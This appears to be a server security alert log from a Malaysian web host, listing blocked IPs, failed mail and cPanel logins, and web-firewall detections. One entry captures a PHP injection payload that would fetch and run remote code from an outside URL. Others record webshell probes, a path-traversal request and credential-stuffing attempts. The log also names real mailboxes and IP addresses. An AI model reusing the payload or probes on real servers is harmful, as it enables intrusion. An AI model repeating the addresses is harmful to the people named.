name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 21:09:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.41.18
country_id: 1269750
description:
Jan 16 21:11:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.41.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.41.18
country_id: 1269750
description:
2026-01-16 21:11:38 dovecot_login authenticator failed for H=([182.73.193.249]) [122.187.41.18]:53806: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.63
country_id: 719819
description:
Jan 16 21:12:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.195.91.44
country_id: 2661886
domain: mssa.org.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:21-12.194.195.91.44||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.19.206
country_id: 1269750
description:
Jan 16 21:12:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.19.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.63
country_id: 719819
description:
Jan 16 21:13:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.63 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.248.167
country_id: 1210997
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-payment.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:16:15 H=([45.144.212.242]) [45.144.212.242]:60356 F=<no_reply@admin.com> rejected RCPT <nuratiqah@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.41.18
country_id: 1269750
description:
Jan 16 21:17:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.41.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.41.18
country_id: 1269750
description:
2026-01-16 21:17:43 dovecot_login authenticator failed for H=([182.73.193.249]) [122.187.41.18]:53364: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.137.36.74
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/tests/_samples HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.97.247.247
country_id: 290557
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/tests/_samples/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:24:38 H=([45.144.212.242]) [45.144.212.242]:65414 F=<no_reply@admin.com> rejected RCPT <ongkonaun@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 21:24:55 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 21:28:52 H=([45.144.212.242]) [45.144.212.242]:54578 F=<no_reply@admin.com> rejected RCPT <oscar@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.208.81.125
country_id: 6252001
description:
Jan 16 21:29:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.208.81.125 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.152.147
country_id: 1733045
description:
[2026-01-16 21:29:48 +0800] info [webmaild] 161.142.152.147 - felicia@nexuscollection.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.208.81.125
country_id: 6252001
description:
2026-01-16 21:29:37 dovecot_plain authenticator failed for H=c-73-208-81-125.hsd1.in.comcast.net (press) [73.208.81.125]:42102: 535 Incorrect authentication data (set_id=ptsawani@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.246.213.156
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=52251516695384 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.115.216.10
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=150120 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 161.118.254.46
country_id: 1880251
domain: www.ms-chemicals.net
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=https://cld.pt/dl/download/58887b17-33bd-494e-983d-6b9b494045ff/link.txt||MVN:MATCHED_VAR||WPU:||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.216.11.135
country_id: 357994
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/press-details.php?id=773937 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.170.161.134
country_id: 6252001
domain: tujusetia.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.172.180.91
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=816746 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.127.6.47
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=594602 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.213.82.18
country_id: 6251999
description:
Jan 16 21:51:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.213.82.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.213.82.18
country_id: 6251999
description:
2026-01-16 21:51:14 dovecot_login authenticator failed for H=vps1891.baseservers.com (USER) [67.213.82.18]:59316: 535 Incorrect authentication data (set_id=info@bridgeadvisory.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 21:53:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.130.131
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/products.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.130.131
country_id: 3865483
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/products.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.56.173.79
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-56.45.56.173.79||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.27
country_id: 798544
description:
Jan 16 21:58:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.27
country_id: 798544
description:
Jan 16 21:59:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.142
country_id: 3469034
description:
Jan 16 22:04:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.76
country_id: 3469034
description:
Jan 16 22:07:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.245.219.251
country_id: 6290252
description:
Jan 16 22:08:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.245.219.251 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.48.102
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/finder/Iterator/CustomFilterIterator.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.206
country_id: 3077311
description:
2026-01-16 22:12:37 dovecot_plain authenticator failed for H=([10.18.18.245]) [212.102.39.206]:38158: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.206
country_id: 3077311
description:
2026-01-16 22:13:02 dovecot_plain authenticator failed for H=([10.18.18.245]) [212.102.39.206]:10643: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.196
country_id: 3077311
description:
2026-01-16 22:13:44 dovecot_plain authenticator failed for H=([10.8.18.137]) [212.102.39.196]:1378: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.196
country_id: 3077311
description:
2026-01-16 22:13:59 dovecot_login authenticator failed for H=([10.8.18.137]) [212.102.39.196]:36298: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.102.39.196
country_id: 3077311
description:
2026-01-16 22:15:00 dovecot_plain authenticator failed for H=([10.8.18.137]) [212.102.39.196]:51202: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.171.208.245
country_id: 1835841
description:
Jan 16 22:16:33 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.171.208.245 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.208.245
country_id: 1835841
description:
2026-01-16 22:16:35 dovecot_login authenticator failed for H=([121.171.208.245]) [121.171.208.245]:54586: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 216.26.255.160
country_id: 3017382
description:
216.26.255.160 - - [16/Jan/2026:22:18:12 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935556&pdata=https%3A%2F%2Fmkmetal.com.my%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768573092 HTTP/1.1" 302 0 mkmetal.com.my "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.26.255.160


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.255.160
country_id: 3017382
description:
[2026-01-16 22:18:23 +0800] info [cpaneld] 216.26.255.160 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.237.160
country_id: 99237
description:
Jan 16 22:21:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.237.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.144
country_id: 3175395
description:
Jan 16 22:21:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.200.180.174
country_id: 6252001
description:
Jan 16 22:22:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.200.180.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.200.180.174
country_id: 6252001
description:
2026-01-16 22:22:19 dovecot_login authenticator failed for H=survey.hagbergconsulting.com [207.200.180.174]:50588: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.140
country_id: 1269750
description:
Jan 16 22:26:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.245
country_id: 2300660
description:
Jan 16 22:26:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.10.245
country_id: 2300660
description:
Jan 16 22:27:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.10.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 16 22:29:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 206.168.34.221
country_id: 6252001
description:
Jan 16 22:30:58 sv3 pure-ftpd[1547030]: (?@206.168.34.221) [INFO] New connection from 206.168.34.221


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.237.120
country_id: 1562822
domain: www.printspecsolution.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.printspecsolution.com/index.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.147.237
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=360128 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.3.36.71
country_id: 6252001
description:
45.3.36.71 - - [16/Jan/2026:22:33:10 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13136579&pdata=https%3A%2F%2Foxbold.com%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768573989 HTTP/1.1" 302 0 oxbold.com "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.3.36.71


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.3.36.71
country_id: 6252001
description:
[2026-01-16 22:33:13 +0800] info [cpaneld] 45.3.36.71 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 22:35:30 H=([45.144.212.242]) [45.144.212.242]:58286 F=<no_reply@admin.com> rejected RCPT <sabrina@ktlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.80.180.31
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=87091516783626 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 22:36:58 H=([45.144.212.242]) [45.144.212.242]:52120 F=<no_reply@admin.com> rejected RCPT <saiful@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.235.250.165
country_id: 1831722
description:
2026-01-16 22:37:48 dovecot_login authenticator failed for H=(213.5.130.102) [110.235.250.165]:49035: 535 Incorrect authentication data (set_id=adminmelaka@grandteknik.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 22:40:38 H=([94.156.152.18]) [94.156.152.18]:55284 F=<patrick.berger@huawei.com> rejected RCPT <cky@ahfengineering.com>: SPF: 94.156.152.18 is not allowed to send mail from huawei.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.189.141.177
country_id: 1831722
description:
2026-01-16 22:43:36 dovecot_login authenticator failed for H=(213.5.130.106) [203.189.141.177]:51260: 535 Incorrect authentication data (set_id=syazwani@sanicarehygiene.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.37.218
country_id: 2300660
description:
Jan 16 22:44:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.37.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.226.231
country_id: 3865483
description:
Jan 16 22:44:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.226.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 172.183.222.128
country_id: 6252001
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/geoclue/geoclue.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.90.98.17
country_id: 1168579
description:
2026-01-16 22:46:44 dovecot_login authenticator failed for H=(213.5.130.102) [116.90.98.17]:52313: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.128.48.40
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/corner/557/597841 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.107.183.156
country_id: 3469034
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/checkout.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.188.123.23
country_id: 290291
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/qms.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.5.153.46
country_id: 1562822
description:
2026-01-16 22:51:23 dovecot_login authenticator failed for H=(mail.mckd.com.my) [117.5.153.46]:60177: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.12.214.98
country_id: 3865483
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/contect.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.5.153.46
country_id: 1562822
description:
Jan 16 22:51:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.5.153.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.174.62
country_id: 798544
description:
Jan 16 22:53:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.174.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.195.80
country_id: 3865483
description:
Jan 16 22:53:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.195.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 22:57:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.13.108
country_id: 3469034
description:
Jan 16 23:00:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.13.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.43.3
country_id: 2395170
description:
Jan 16 23:00:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.43.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 23:00:12 H=([45.144.212.242]) [45.144.212.242]:62734 F=<no_reply@admin.com> rejected RCPT <shahzila@chs.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.237
country_id: 798544
description:
Jan 16 23:01:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 23:02:29 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.149.240.126
country_id: 1168579
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/balloon/14/331/1434233 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.62.20.139
country_id: 2510769
description:
2026-01-16 23:03:13 dovecot_login authenticator failed for H=(213.5.130.182) [185.62.20.139]:48749: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.67.54.196
country_id: 1168579
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/news.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.53.241.91
country_id: 732800
domain: www.snymetalstamping.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.snymetalstamping.com/about_us.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.227.226.156
country_id: 3057568
description:
Jan 16 23:06:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.227.226.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.250.146
country_id: 3469034
description:
Jan 16 23:07:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.250.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.26
country_id: 2750405
description:
Jan 16 23:08:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.155
country_id: 3175395
description:
Jan 16 23:12:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.157
country_id: 3175395
description:
Jan 16 23:12:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.56.20
country_id: 3469034
description:
Jan 16 23:12:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.56.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.218.78
country_id: 1269750
description:
2026-01-16 23:12:49 dovecot_plain authenticator failed for H=(drific) [128.185.218.78]:37168: 535 Incorrect authentication data (set_id=cornelius.yap@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.56.20
country_id: 3469034
description:
Jan 16 23:13:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.56.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.161.168
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-14.166.0.161.168||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.97.178
country_id: 1733045
description:
